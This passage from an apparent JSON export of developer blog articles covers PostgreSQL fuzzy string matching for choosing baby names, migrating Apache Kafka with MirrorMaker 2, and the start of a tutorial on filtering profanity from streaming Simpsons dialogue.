count(*) from names where length(name) \u003c 6;\n```\n\nWe still have lots of results (2632), so some more pruning is needed ... I personally like names ending with vowels - can we add this constraint? Yes we can, with the help of [regular expressions](https://www.postgresql.org/docs/current/functions-matching.html):\n\n```sql\nselect count(*) from names \nwhere length(name) \u003c 6\nand name similar to '%(a|e|i|o|u|y)';\n```\n\nWith the help of regular expressions we can take it even further, like specifying 1 `l` or 2 consecutive `l`s:\n\n```sql\nselect * \nfrom names \nwhere \n length(name) \u003c 6\n and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\nlimit 10;\n```\n\nRegular expressions can only help so much, and we still have too many names in our list. We need some more ways to exclude options.\n\n## Avoid similar names\n\nWe all have names we never want to hear again. Maybe they remind us of someone we don't want to think about, or they're just taken by somebody else we hear about way too often. It's easy to avoid these names, but we can use PostgreSQL's [FuzzyStrMatch](https://www.postgresql.org/docs/current/fuzzystrmatch.html) to go a step further and eliminate anything even vaguely similar. We can install the extension with:\n\n```sql\ncreate extension fuzzystrmatch;\n```\n\nThe extension brings us several functions. The first one, named [Levenstein difference](https://en.wikipedia.org/wiki/Levenshtein_distance), helps us understand how many characters make two strings differ. Let's say, for example, we don't want anything that is written too similar to `Allie`.\n\n```sql\nselect *, \n levenshtein(name, 'Allie') diff\nfrom names \nwhere \n length(name) \u003c 6\n and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\norder by diff\nlimit 10;\n```\n\nReturns\n\n```\n name | gender | diff\n-------+--------+------\n Allie | boy | 0\n Altie | girl | 1\n Alfie | boy | 1\n Arlie | boy | 1\n Alvie | boy | 1\n Alcie | girl | 1\n Algie | boy | 1\n Ellie | boy | 1\n Ollie | boy | 1\n Alvia | boy | 2\n(10 rows)\n```\n\nWe can see that the Levenshtein difference between:\n\n* `Allie` and `Allie` is 0 since they are the same string\n* `Allie` and `Altie` is 1 (the `t`)\n* `Allie` and `Alfie` is 1 (the `f`)\n* `Allie` and `Alvia` is 2 (the `v` and `a`)\n\nWe can remove all names with a Levenshtein difference of less than 3, since this helps us avoid names written too similarly to `Allie`.\n\n```sql\nselect count(*)\nfrom names \nwhere \n length(name) \u003c 6\n and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\n and levenshtein(name, 'Allie') \u003e 3;\n```\n\nWe still have 235 rows, but the difference in the number of characters is just the beginning. We don't even want to hear a sound _similar_ to `Allie`! Luckily the FuzzyStrMatch extension brings us another function, named `soundex` that provides the [Soundex code](https://en.wikipedia.org/wiki/Soundex) of a string. Let's try with `Allie` itself:\n\n```sql\nselect soundex('Allie');\n```\n\nThe result is `A400` which, by itself, is not very useful. But FuzzyStrMatch also offers `difference` which, despite the name, provides a Soundex similarity score between 0 (two strings sound different) to 4 (two strings sound the same). If we try with our dataset:\n\n```sql\nselect *, \n soundex(name) sdx, \n difference(name, 'Allie') sdx_score\nfrom names \nwhere \n length(name) \u003c 6\n and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\n and levenshtein(name, 'Allie') \u003e 3\norder by sdx_score desc\nlimit 5;\n```\n\nThis shows that `Clay`, `Milo`, `Riley`, `Wiley` and `Rolla` sound a bit too close to our `Allie`.\n\n```\n name | gender | sdx | sdx_score\n-------+--------+------+-----------\n Clay | boy | C400 | 3\n Milo | boy | M400 | 3\n Riley | boy | R400 | 3\n Wiley | boy | W400 | 3\n Rolla | boy | R400 | 3\n(5 rows)\n```\n\nWe want to go for an entirely different sound, so let's remove anything with a Soundex score greater than 2.\n\n```sql\nselect count(*)\nfrom names \nwhere \n length(name) \u003c 6\n and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\n and levenshtein(name, 'Allie') \u003e 3\n and difference(name, 'Allie') \u003c= 2;\n```\n\n## The final touch: the metaphone\n\nWe still have 115 rows, a few too many to choose from. The final step in the selection could be based on a name of which we like the sound, and therefore we'd like to explore similar-sounding ones. Let's take `Marlo` as an example. To retrieve names that sound similar we can either use the Soundex function again, or we could evolve our approach and use the [Metaphone](https://en.wikipedia.org/wiki/Metaphone) or double metaphone for higher accuracy.\n\n```sql\nselect dmetaphone('Marlo') dmet;\n```\n\nThe double metaphone function returns the `MRL` string. We can use that, together with the Levenshtein difference, to find all strings which vary from it by only one character.\n\n```sql\nselect count(*)\nfrom names \nwhere \n length(name) \u003c 6\n and name similar to '%(l){1,2}%(a|e|i|o|u|y)'\n and levenshtein(name, 'Allie') \u003e 3\n and difference(name, 'Allie') \u003c= 2\n and levenshtein(dmetaphone(name), dmetaphone('Marlo')) \u003c=1;\n```\n\nNow we have to parse only 26 rows, and frankly, this is where the hard choices begin. Still, with the help of PostgreSQL, some regular expressions and the FuzzyStrMatch extension, we were able to prune a lot of our possible dataset. \n\nWhich name is best? The final selection is, of course, up to you.\n\n## Ready-to-use functions for string similarity\n\nString similarity is not an easy topic, but luckily the [FuzzyStrMatch extension](https://www.postgresql.org/docs/current/fuzzystrmatch.html) provides a few functions like Levenshtein, Soundex and Metaphone that can help us solve some common problems when comparing texts.\n\nSome further resources:\n* [FuzzyStrMatch](https://www.postgresql.org/docs/current/fuzzystrmatch.html): to understand functions and additional parameters\n* [Pg similarity](https://github.com/eulerto/pg_similarity): another PostgreSQL extension providing a different set of text similarity functions\n* [Pattern matching](https://www.postgresql.org/docs/current/functions-matching.html): to review the details of regular expression usage","feature":{"_type":"featuredItem","active":false,"endDate":"2023-03-31T14:14:22.264Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"710f49d230e9","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2022-10-20T08:45:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-cf3804e56ec0a235fb8e7bcdac1bbcef21838170-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/picking-a-baby-name"},"subtitle":"Choosing the name of your new child is really serious, so as a data professional you will naturally want to reach for PostgreSQL®. Find out more below.","tags":[{"_key":"1f67cebdda12","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"ebf6f992ac4f","_ref":"6e718308-0932-4545-b8c2-c9df3013ec4e","_type":"tag"}],"title":"Picking a baby name with PostgreSQL® and FuzzyStrMatch"} {"__i18n_lang":"en","_createdAt":"2023-03-30T16:42:00Z","_id":"06c7a365-10ed-44d7-a0aa-a2492bd8085a","_rev":"lhvtNBOlLYH5KiQFQ8YjmD","_type":"devArticle","_updatedAt":"2024-01-29T15:45:07Z","body":"## What you will learn\n\nFollow this tutorial and you'll learn all the steps involved in an Apache Kafka® migration:\n\n* Prerequisites: what should you pay attention to before migrating?\n* Syncing data with Apache Kafka MirrorMaker 2\n* Migrating Apache Kafka topic schemas\n* Migrating Apache Kafka ACLs (Access Control Lists)\n* Migrating Apache Kafka consumer group offsets\n* Migrating Apache Kafka clients and connectors\n\n\n## What are you going to build\n\nThis tutorial outlines all common the steps to migrate an existing Apache Kafka® cluster to a new service provider using MirrorMaker 2. \n\nAll migrations are different, but the usual scenario is migrating between on-premises systems to a managed or self-hosted Apache Kafka cluster or vice versa. This tutorial outlines a set of checks, actions and processes to follow to perform a complete migration. \n\nIn this tutorial, we'll be migrating to [Aiven for Apache Kafka®](https://aiven.io/docs/products/kafka), but the steps described should work with any other Apache Kafka service. \n\nWe'll use [MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) to migrate the data. MirrorMaker 2 is a fully managed distributed Apache Kafka® data replication utility.\n\n:::mermaid\ngraph LR;\n id1(Source Apache Kafka cluster)-- source alias --\u003eid2(MirrorMaker 2);\n id2-- sink alias --\u003eid4(Target Apache Kafka cluster);\n:::\n\n::alert[MirrorMaker 2 provides **asynchronous** replication across clusters. To avoid data loss during the migration, you need to ensure that the replication lag is **0** before pointing the new producers and consumers to the target Kafka environment. More information in the [monitor the MirrorMaker 2 replication flow lag](#monitor-the-mirrormaker-2-replication-flow-lag) section.]{title=\"Warning\" type=\"warning\"}\n\n\n## Prerequisites\n\nThe exact migration steps vary depending on the existing source Kafka system. As a general pre-requisite, the source and target system need to have compatible version numbers, feature sets, and connectivity requirements. To break this down further, the tutorial assumes:\n\n* **Client compatibility**: Any client interacting with Apache Kafka must be compatible with the version chosen as migration target.\n\n ::alert[This guide doesn't include any steps to migrate client versions.]{title=\"Note\"}\n\n* Available **Apache Kafka configurations**: the custom settings needed in the source system should be available as parameters in the target system. \n\n ::alert[You can find a list of Aiven for Apache Kafka advanced parameters in the [related documentation](https://aiven.io/docs/products/kafka/reference/advanced-params).]{title=\"Note\"}\n\n* Available **Apache Kafka Connect connectors**: if you're planning to migrate a Kafka Connect cluster, review the list of [supported connectors](https://aiven.io/docs/products/kafka/kafka-connect) or check out how to [bring your own Kafka Connect cluster](https://aiven.io/docs/products/kafka/kafka-connect/howto/bring-your-own-kafka-connect-cluster). \n\n* **Connectivity**: the source and target clusters need to be connected via MirrorMaker 2 for the data migration. Moreover, you need to ensure all the clients reading or writing to Apache Kafka can connect to the brokers as well as any self hosted Kafka connect cluster. \n\n::alert[As part of the connectivity check you also need to ensure: \\n - That the **connection bandwidth** is high enough to sync the data between environments. \\n - That the needed networking setups are available in the target Apache Kafka cluster. Some examples on how to define custom networking setups on Aiven: [Firewalls/security groups](https://aiven.io/docs/platform/concepts/cloud-security), [VPC peering](https://aiven.io/docs/platform/howto/manage-vpc-peering), [Privatelink](https://aiven.io/docs/platform/howto/use-aws-privatelinks).]{title=\"Warning\" type=\"warning\"}\n\n## Create an Apache Kafka integration endpoint\n\nThe first step you'll need to perform in the Apache Kafka migration is identifying the source Kafka cluster where the data is migrated from and create a connection to it. \n\n::alert[If you're running Apache Kafka MirrorMaker 2 standalone, you'll need to define the source Apache Kafka cluster in the `mm2.properties` file, as defined in the [MirrorMaker 2 documentation](https://github.com/apache/kafka/blob/trunk/connect/mirror/README.md).]{title=\"Note\"}\n\nIf you're using Aiven for Apache Kafka, you need to define the source Kafka cluster as **External Integration** following the steps below:\n\n\n* Go to the [Aiven Console](https://console.aiven.io/).\n* Click on **Integration Endpoints**.\n \n ![The Aiven Console with the integration endpoints option highlighted](https://cdn.sanity.io/images/sczeoy4w/production/6a7ecf263f98c6b3603abe2c9e25255a355e3e45-1646x849.png)\n\n* Select **External Apache Kafka** and click on **Create New**.\n\n ![The Aiven Console with the option to create an External Apache Kafka integration highlighted](https://cdn.sanity.io/images/sczeoy4w/production/f5ba0b8c454513abe6babd7ff431ad38e3d2bfca-1280x655.png)\n\n* Give the endpoint a **name** (like ``mySourceKafkaCluster``), this will later be used as reference by MirrorMaker 2. Next, list the **bootstrap servers** and the **Security protocol** that need to be used to connect.\n\n ![The list of parameters (endpoint name, bootstrap servers, security protocol) needed to define an External Apache Kafka integration](https://cdn.sanity.io/images/sczeoy4w/production/191792b1e1af40e8e015bce29c0331cdc9600c3c-1169x378.png)\n\n::alert[The external integration setup does not test the connectivity between Aiven and the source Apache Kafka cluster. Always check if additional firewall rules need to be set up to allow MirrorMaker 2 to access your source Apache Kafka cluster. Aiven can associate [static IP addresses](https://aiven.io/docs/platform/concepts/static-ips) to all services. It could be useful to associate static IP addresses to Aiven for MirrorMaker 2 to narrow down the list of IP addresses allowed to reach the source Apache Kafka cluster.]{title=\"Warning\" type=\"warning\"}\n\n## Create the target Kafka cluster and MirrorMaker 2 instance\n\nNext, create the Apache Kafka cluster to migrate to, and the MirrorMaker 2 instance we'll use to sync the two clusters. \n\nWe'll create these services in Aiven for the purposes of this tutorial.\n\nIn the [Aiven Console](https://console.aiven.io/), create:\n\n* An [Aiven for Apache Kafka](https://aiven.io/docs/products/kafka) service named ``demo-kafka`` for data streaming. This is the target Kafka cluster for the migration.\n* An [Aiven for Apache Kafka MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) service named ``demo-mm2``, MirrorMaker 2 will be used to stream the data from the source Apache Kafka cluster to ``demo-kafka``.\n\n\n### Create an Aiven for Apache Kafka® service\n\nThe [Aiven for Apache Kafka](https://aiven.io/docs/products/kafka) service is the target cluster for the migration. You can create the service with the following steps:\n\n1. Log in to the [Aiven web console](https://console.aiven.io/).\n2. On the *Services* page, click **Create a new service**.\n\n This opens a new page with the available service options.\n\n ![Aiven Console view for creating a new service](https://cdn.sanity.io/images/sczeoy4w/production/9ee46d57b3e145d3b66ae7505c6b482c3269bd67-3276x1624.png)\n\n3. Select **Apache Kafka®**.\n\n4. Select the cloud provider and region that you want to run your service on.\n\n5. Select `business-4` as service plan.\n\n5. Enter ``demo-kafka`` as name for your service.\n\n6. Click **Create Service** under the summary on the right side of the console.\n\n### Customize the Aiven for Apache Kafka service\n\nNow that you've created your target cluster, you need to customize it's functionality. In the **Overview** tab of your freshly created service, you'll see a bunch of toggles and properties. Change these two:\n\n1. **Enable REST APIs**: via **Kafka REST API (Karapace)** \u003e **Enable**.\n\n ::alert[The **Kafka REST API** allows you to manage and query Apache Kafka via REST APIs. You'll use it to inspect the data in Apache Kafka from the Aiven Console.]{title=\"Note\"}\n\n2. **Auto creation of topics**: via **Advanced configuration** \u003e **Add configuration option** \u003e ``kafka.auto_create_topics_enable``, switch the setting on and then click **Save advanced configuration**.\n\n ::alert[The ``kafka.auto_create_topics_enable`` setting allows you to create new Apache Kafka® topics on the fly while pushing a first record. It avoids needing to create a topic in advance. To read more about the setting, check the [dedicated documentation](https://aiven.io/docs/products/kafka/howto/create-topics-automatically).]{title=\"Note\"}\n\n3. **Broker Configuration**: ensure you apply all the needed [advanced configuration](https://aiven.io/docs/products/kafka/reference/advanced-params) to the target Apache Kafka cluster.\n4. **Enable SASL** (optional): you can enable [SASL](https://aiven.io/docs/products/kafka/howto/kafka-sasl-auth) via the dedicated configuration option.\n5. **VPC peering** (optional): if you need to deploy the Apache Kafka service within a VPC, you can follow the [related documentation](https://aiven.io/docs/platform/howto/migrate-services-vpc).\n\n### Create an Aiven for Apache Kafka MirrorMaker 2 service\n\nThe [Aiven for Apache Kafka MirrorMaker 2](https://aiven.io/docs/products/kafka/kafka-mirrormaker) service syncs the data between the source and target clusters in the migration. You can create the service with the following steps:\n\n1. Log in to the [Aiven Console](https://console.aiven.io/).\n2. Click on the Aiven for Apache Kafka service you created previously, named ``demo-kafka``.\n3. On the *Overview* tab, scroll down until you locate the *Service integration* section and click on **Manage integrations**.\n\n ![Aiven Console, *Service integration* section and **Manage integrations** button](https://cdn.sanity.io/images/sczeoy4w/production/d68b90444fc1fc6f337322dd3fbfd0dcd9b163ba-1068x141.png)\n\n4. Select **Apache Kafka MirrorMaker** 2.\n\n ![Aiven Console, list of available integrations](https://cdn.sanity.io/images/sczeoy4w/production/239692b4663dca330479d9ccacf255277b9ac1da-1280x720.png)\n\n5. In the new window popup, select the **New Service** option and click on **Continue**.\n\n6. Give the new service a name, ``demo-mm2``, then select the cloud provider, region, and service plan. Then click on **Continue**.\n\n7. Define the **Cluster alias**, this is the logical name you'll use to define the target ``demo-kafka`` cluster. Use``kafka-target``.\n\nOnce you follow all the steps, you should see an active integration between ``demo-kafka`` and ``demo-mm2`` named ``kafka-target``:\n\n![Aiven Console, active MirrorMaker 2 integration](https://cdn.sanity.io/images/sczeoy4w/production/50db07cdcfcce59724d1951b841d0107e9087f8f-1336x144.png)\n\n## Create a data replication using MirrorMaker 2\n\nThe next step in the migration journey is to create a data replication from the source cluster to the Aiven for Apache Kafka service named ``demo-kafka``. To create a replication you need to:\n\n* Create an alias for the source Apache Kafka cluster (the target alias ``kafka-target``).\n* Define the replication flow.\n\n### Create an alias for the source Apache Kafka cluster\n\nTo create a MirrorMaker 2 replication flow, first create an alias to point to the source Kafka cluster. You defined the target alias ``kafka-target`` during the creation of the MirrorMaker 2 service, so use that.\n\nTo create the alias with the [Aiven Console](https://console.aiven.io/) you can follow the steps below:\n\n1. Navigate to the MirrorMaker 2 ``demo-mm2`` service page.\n2. Click on the **Integration** tab.\n3. Scroll until you reach the **External integrations** section.\n4. Select **Cluster for replication** within the available external integrations.\n5. Select the endpoint name you defined in a previous step (``mySourceKafkaCluster``) and click **Continue**.\n\n ![Aiven Console, MirrorMaker 2 alias definition for the external Apache Kafka endpoint integration](https://cdn.sanity.io/images/sczeoy4w/production/094dd3765c68fddb661ebf6dacc86e709debb7e5-1172x327.png)\n\n6. Give the source cluster an alias name, for example ``kafka-source``, and click **Enable**.\n\nOnce the steps are done, you should be able to see the two aliases, ``kafka-source`` and ``kafka-target`` defined as integrations in the ``demo-mm2`` service:\n\n![Aiven Console, MirrorMaker 2 source and target integration enabled](https://cdn.sanity.io/images/sczeoy4w/production/7c33c65ce44d38ebe81deec442b0d5a3c92f9e41-1344x388.png)\n\n::alert[If you experience connection problems to the source or target clusters, the MirrorMaker 2 service overview page shows the following error: ![Aiven Console, MirrorMaker 2 service overview, error message stating that the connection to a target Kafka service is not working](https://cdn.sanity.io/images/sczeoy4w/production/939c844b62dae4cd4613c71691854cb689b64233-1316x89.png) \\n You can also review the service logs by clicking on the **Log** tab.]{title=\"Warning\" type=\"warning\"}\n\n### Start the MirrorMaker 2 replication flow\n\nIn the previous steps you defined MirrorMaker 2 source and target aliases. Now it's time to define the replication flow.\n\nYou first need to identify the set of topics you want to migrate to the new cluster, and create a [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) that includes them. \n\nFor example, if you want to migrate all the topics starting with ``customer.`` and the ones containing ``.logistic.`` you can add the two regular expressions: ``customer\\..*`` and ``.*\\.logistic\\..*``.\n\n::alert[You can list both topics to be included and excluded in the allow list and stop list.]{title=\"Tip\"}\n\n\nNext, create a MirrorMaker 2 replication flow in the [Aiven Console](https://console.aiven.io/):\n\n1. Navigate to the ``demo-mm2`` service page.\n2. Click on the **Replication Flows** tab.\n3. Click on **Create replication flow**.\n4. Fill in the replication flow details:\n\n * **Source cluster**: ``kafka-source`` - the alias defined for the source Kafka cluster.\n * **Target cluster**: ``kafka-target`` - the alias defined for the target Aiven for Apache Kafka cluster.\n * **Topics**: the [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) defining which topics to include. \n \n For instance\n \n * ``customer\\..*`` to include all topics starting with ``customer.``.\n * ``*\\..europe\\..*`` to include all topics including with ``.europe.``.\n * **Topics blacklist**: the [Java regular expression](https://aiven.io/docs/products/kafka/kafka-mirrormaker/concepts/replication-flow-topics-regex) defining which topics to exclude. E.g. ``*\\..test`` to exclude all topics ending with ``test.``.\n * **Sync group offset**: to define whether to sync the topic containing the consumer group offset.\n * **Sync interval in seconds**: to define the frequency of the sync.\n * **Offset syncs topic location**: to provide offset translation, MirrorMaker 2 uses the ``mm2-offset-syncs`` topic, that can be located either in the source or sink cluster.\n * **Replication policy class**: controls the prefix when replicating topics. ``DefaultReplicationPolicy`` sets the topic name in the target Kafka service as ``source_cluster_alias.topic_name`` (prefixing the topic name with the source cluster alias), while ``IdentityReplicationPolicy`` sets the target topic name equal to the source topic name.\n * **Emit heartbeats enabled**: allow MirrorMaker 2 to emit heartbeats to keep the connection open even in cases where no messages are replicated.\n * **Enable**: to enable the data sync job.\n\n The following represents an example of a replication flow setting:\n\n ![Aiven Console, replication flow details](https://cdn.sanity.io/images/sczeoy4w/production/e12c53543921531c47312252338047cf0bfa4b18-1029x806.png)\n\n::alert[Before starting the replication flow, you might want to manually create the topics in the target Kafka cluster. MirrorMaker 2 replication flow will **not** recreate topics with the same configuration options. This step is specifically important if the topic needs to be [compacted](https://aiven.io/docs/products/kafka/concepts/log-compaction) or if some settings (like partitioning) are key for the correct working of the data pipeline.]{title=\"Warning\" type=\"warning\"}\n\n5. Click on **Create**\n\nAfter following the steps above, you should see the enabled replication flow:\n\n![Aiven Console, MirrorMaker 2 replication flow enabled](https://cdn.sanity.io/images/sczeoy4w/production/6fb6b278a4d0c240844b6b035f2f6654e44bde05-1333x271.png)\n\nBrowsing the target ``demo-kafka`` service, you should see the topics being replicated. The following image shows replication (using the ``DefaultReplicationPolicy``) of the ``kafka-source.customer.clicks`` and ``kafka-source.customer.purchases`` topics together with MirrorMakers 2 internal topics.\n\n![Aiven Console, target Aiven for Apache Kafka with the replicated clicks and purchases topics](https://cdn.sanity.io/images/sczeoy4w/production/3b63fd6e0e87fedf70bb882c7cd6c06a27225112-1364x760.png)\n\n::alert[Once you start the replication flow, MirrorMaker 2 continuously checks for topics matching the regular expression defined. If you create new topics matching the regex in the source cluster, they'll appear also in the target cluster.]{title=\"Note\"}\n\n### Monitor the MirrorMaker 2 replication flow lag\n\nAfter starting the replication flow, MirrorMaker 2 starts moving data between the source and target Kafka clusters in asynchronous mode. To measure how the replication is performing you might want to check the replication lag: the delay in synchronization between the source and target Apache Kafka cluster. Once the lag is `0`, the two Apache Kafka clusters are in sync.\n\nFollow the documentation to review [how to create services integrations](https://aiven.io/docs/platform/howto/create-service-integration). \n\nThe metric you want to track is called ``kafka_mirrormaker_summary.replication_lag``. The image below showcases a Grafana® dashboard showing the mean MirrorMaker 2 replication lag trending to ``0``.\n\n\n![Grafana dashboard showing the `kafka_mirrormaker_summary.replication_lag` metric](https://cdn.sanity.io/images/sczeoy4w/production/0b1d6b095faff79b2fc963b37eeda911f0d7eb35-1630x839.png)\n\n## Migrate topic schemas\n\nApache Kafka topic schemas define the structure of the data in certain topics. They can be migrated two different ways:\n\n1. By replicating the schemas topic stored in Apache Kafka (usually located in the ``_schemas`` topic).\n2. By extracting the schema information from the source and registering in the target environment using the appropriate APIs.\n\nThe second option offers much more control over which schemas are migrated. To register the schemas in an Aiven for Apache Kafka service you can:\n\n* Navigate in the [Aiven Console](https://console.aiven.io/), service page, **Schemas** tab.\n* Use the [Karapace rest APIs](https://api.aiven.io/doc/#tag/Service:_Kafka/operation/ServiceSchemaRegistrySubjectVersionPost).\n* Use [Aiven command line interface](https://aiven.io/docs/tools/cli).\n\n\n## Migrate access control list\n\nApache Kafka Access Control Lists (ACLs) define how various users are allowed to interact with the topics and schemas. To migrate ACLs, we recommend extracting the ACL definition from the source Apache Kafka cluster, then recreating the ACL in the target cluster. \n\nIf the target of the migration is Aiven for Apache Kafka, you can define the ACLs with:\n\n* The [Aiven Console](https://console.aiven.io/), service page, **Access Control Lists (ACL)** tab.\n* The dedicated [Aiven REST API](https://api.aiven.io/doc/#tag/Service:_Kafka/operation/ServiceKafkaAclAdd).\n* The dedicated [Aiven CLI command](https://aiven.io/docs/tools/cli/service/acl).\n\n\n## Change client settings\n\nAfter the replication flow is running and the schemas and ACLs are in place, you can start pointing producers and consumers to the target Apache Kafka cluster. \n\n::alert[To avoid losing Apache Kafka messages during the asynchronous MirrorMaker 2 migration, we suggest stopping the producers, checking that both the consumer lag in the source system and the MirrorMaker 2 replication lag is ``0``, and then pointing producers and consumers to the target Apache Kafka cluster. The [migration process](#complete-migration-process) provides a detailed series of steps to follow.]{title=\"Warning\" type=\"warning\"}\n\nIf the target of the migration is Aiven for Apache Kafka, follow the documentation to [download the required certificates and connect as a producer or consumer](https://aiven.io/docs/products/kafka/howto/list-code-samples).\n\n\n## Complete migration process\n\nThe following diagram showcases all the steps included in an Apache Kafka migration process.\n\n\u003c!-- \nthis mermaid code doesn't render on page. Using https://mermaid.live to create image instead. https://github.com/aiven/devportal/blob/8ac99e7009720a20047f0442d344bc7f8ed57779/docs/tutorials/kafka-migration.rst\n--\u003e\n\n![Diagram showcases all the steps included in an Apache Kafka migration process](https://cdn.sanity.io/images/sczeoy4w/production/74fe6c55942f4ec7576e18d5a95f11fe971bbf85-2629x3985.jpg?w=450)\n\n## Check the migration results\n\nWhen the migration process terminates, check the target Apache cluster to ensure that:\n\n* All the ACLs are in place: in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Access Control List (ACL)** Tab. \n* All the schemas are present in the target schema registry (Karapace for Aiven for Apache Kafka): in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Schemas** Tab. \n* All the topics included in the replication flows defined are present, and the data is flowing: in the [Aiven Console](https://console.aiven.io/) service page -\u003e **Topics** Tab. \n* All the producers and consumers are pointing to the target cluster and correctly pushing/consuming data\n\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-06T16:41:43.597Z"},"publishedAt":"2023-04-03T13:58:10.371Z","seo":{"_type":"metaData","metaDescription":"Learn how to migrate an existing Apache Kafka® cluster to a new service provider using Apache Kafka® MirrorMaker 2.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-cf9059de9de4d8003e89c16ad83780967cb32940-2500x1308-png","_type":"reference"}},"metaTitle":"Migrate Apache Kafka with MirrorMaker 2"},"slug":{"_type":"slug","current":"/developer/kafka-migration-mirrormaker2"},"subtitle":"Learn how to migrate an existing Apache Kafka® cluster to a new service provider using Apache Kafka® MirrorMaker 2 - for instance, when moving from an on-premises system to a managed or self-hosted Kafka cluster.\n","tags":[{"_key":"07fa167207df","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"3001d4f23922","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Migrate an Apache Kafka® instance using Apache Kafka® MirrorMaker 2"} {"__i18n_lang":"en","_createdAt":"2023-03-24T15:17:59Z","_id":"0c20120f-4fba-46dc-b789-37eef830527a","_rev":"VeNKqGNmt13PzvGhqsT6cW","_type":"devArticle","_updatedAt":"2024-01-29T15:50:20Z","body":"\n## Censor your streaming data with Aiven and DataCater\n\nOh \\*\\*\\*\\*, everyone knows that bad words shouldn't be used!\n\nEven though you might not expect it, profanity exists everywhere, whether it's a single person talking, a social media comment, or a live show. Giving visibility to such bad words can have disastrous effects, and, in the word of real-time streaming, we can't rely on a human check. Therefore we need to build streaming systems that automatically prevent bad words from being displayed. If you're interested in this, today's your lucky day, because we're going to create one with a couple of technologies and integrations!\n\nIn this blog post, we'll use the great [Simpsons dataset](https://www.kaggle.com/datasets/pierremegret/dialogue-lines-of-the-simpsons), perfect for our scenario since it contains phrases with several bad words, like a live presenter cursing periodically. We'll demonstrate how we can clean up sentences in streaming mode using:\n\n* [Aiven for PostgreSQL®](https://aiven.io/postgresql), everyone's beloved database, for storing the Simpsons dataset.\n* [ApiLayer Bad words API](https://apilayer.com/marketplace/bad_words-api), for detecting bad words in the sentences.\n* [Aiven for OpenSearch®](https://aiven.io/opensearch), for storing the polished Simpsons dataset; we’ll use search filters to investigate the results and the amazing OpenSearch Dashboard to visualize them.\n* [DataCater](https://datacater.io/), an online service to define streaming data pipelines with an interesting option to write Python transformations; DataCater enables us to stream the data from PostgreSQL® to OpenSearch® and detect swears using ApiLayer’s Bad words API on the way.\n\n### Create the data storage\n\nWe need a PostgreSQL database that will act as storage for the sentences. For convenience, we are using Aiven for PostgreSQL; we can create it with the [Aiven CLI](https://aiven.io/docs/tools/cli.html) and the following command:\n\n```shell\navn service create demo-pg \\\n --service-type pg \\\n --plan hobbyist \\\n --cloud google-europe-west8\n```\nThe minimal `hobbyist` plan is all we need for the Simpsons dataset. We also chose the `google-europe-west8` zone, one of the newest zones covered by Aiven, conveniently located in Milan. You can review the list of clouds available in the [dedicated document](https://aiven.io/docs/platform/reference/list_of_clouds.html).\n\nWe also need to create an Aiven for OpenSearch service which will contain the polished results:\n\n```shell\navn service create demo-opensearch \\\n --service-type opensearch \\\n --plan hobbyist \\\n --cloud google-europe-west8\n```\n\nAs before, we're using the `hobbyist` plan and the same region. Let's wait for both services to be up with:\n\n```shell\navn service wait demo-pg\navn service wait demo-opensearch\n```\n\n### Load the data in PostgreSQL\n\nThe [Simpsons dialogue dataset](https://www.kaggle.com/datasets/pierremegret/dialogue-lines-of-the-simpsons) is available in [Kaggle](https://www.kaggle.com/). After creating a Kaggle account, we can download it as `archive.zip`, and then decompress that to produce the data in CSV format in a file named `simpsons_dataset.csv`. The file contains all the dialogues together with the character speaking each sentence.\n\nTo load it into the PostgreSQL database, we first need connect to the PostgreSQL command prompt with:\n\n```shell\navn service cli demo-pg\n```\n\nThen we need to create a table called `simpsons_dialogues` to host our dataset:\n\n```sql\ncreate table simpsons_dialogues(\n id serial primary key,\n character_speaking text,\n words text);\n```\n\nCopying the dataset over to PostgreSQL can be done using the PostgreSQL `\\copy` command:\n\n```sql\n\\copy simpsons_dialogues(character_speaking, words) from 'simpsons_dataset.csv' csv header\n```\n\nThe data should be ingested in a matter of seconds... Once the upload is finished, you can check there's some data in the table with the following query:\n\n```sql\nselect count(*) from simpsons_dialogues;\n```\n\nNow it's time to play.\n\n### Define the transformation flow in DataCater\n\nAfter importing the data, we need to define how we'll transform the data. We can head to [DataCater](https://datacater.io/) and sign up for a free trial, entitling us to define up to two pipelines. Once our account is confirmed, we will land in the main dashboard where we can create the data endpoints of our pipeline.\n\n#### Define the PostgreSQL source\n\nWe need to tell DataCater where to source the data and where to sink it. Let's start by mapping the source of data, by clicking on the **Data Sources** link at the top, and selecting **Create a data source**. The list of options available is quite wide, and includes **PostgreSQL** which we need to load the Simpsons dataset.\n\nTo define a datasource on top of Aiven for PostgreSQL we need to specify:\n\n* **Name**: the logical name of the datasource, we can use `simpsons_source_data`\n* **Hostname or IP**, **Port**, **Username** and **Password**: the connection details to use to reach Aiven for PostgreSQL. We can find all the details with the following Aiven CLI command:\n\n ```shell\n avn service get demo-pg --format '{service_uri_params}'\n ```\n\n* **SSL**: Aiven for PostgreSQL requires SSL, therefore we need to specify **Use SSL**\n* **Database** and **Schema**: the database and schema where the data is residing. We used the defaults, therefore the database is `defaultdb` and the schema is `public`\n* **Table name**: the table with the data, in our case it is `simpsons_dialogues`. We can either allow DataCater to fetch the list of tables and select from the dropdown, or fill it in explicitly.\n\nWe also need to change the **Change Data Capture** method, and select [Logical replication with wal2json](https://www.postgresql.org/docs/current/logical-replication-architecture.html).\n\n![Logical 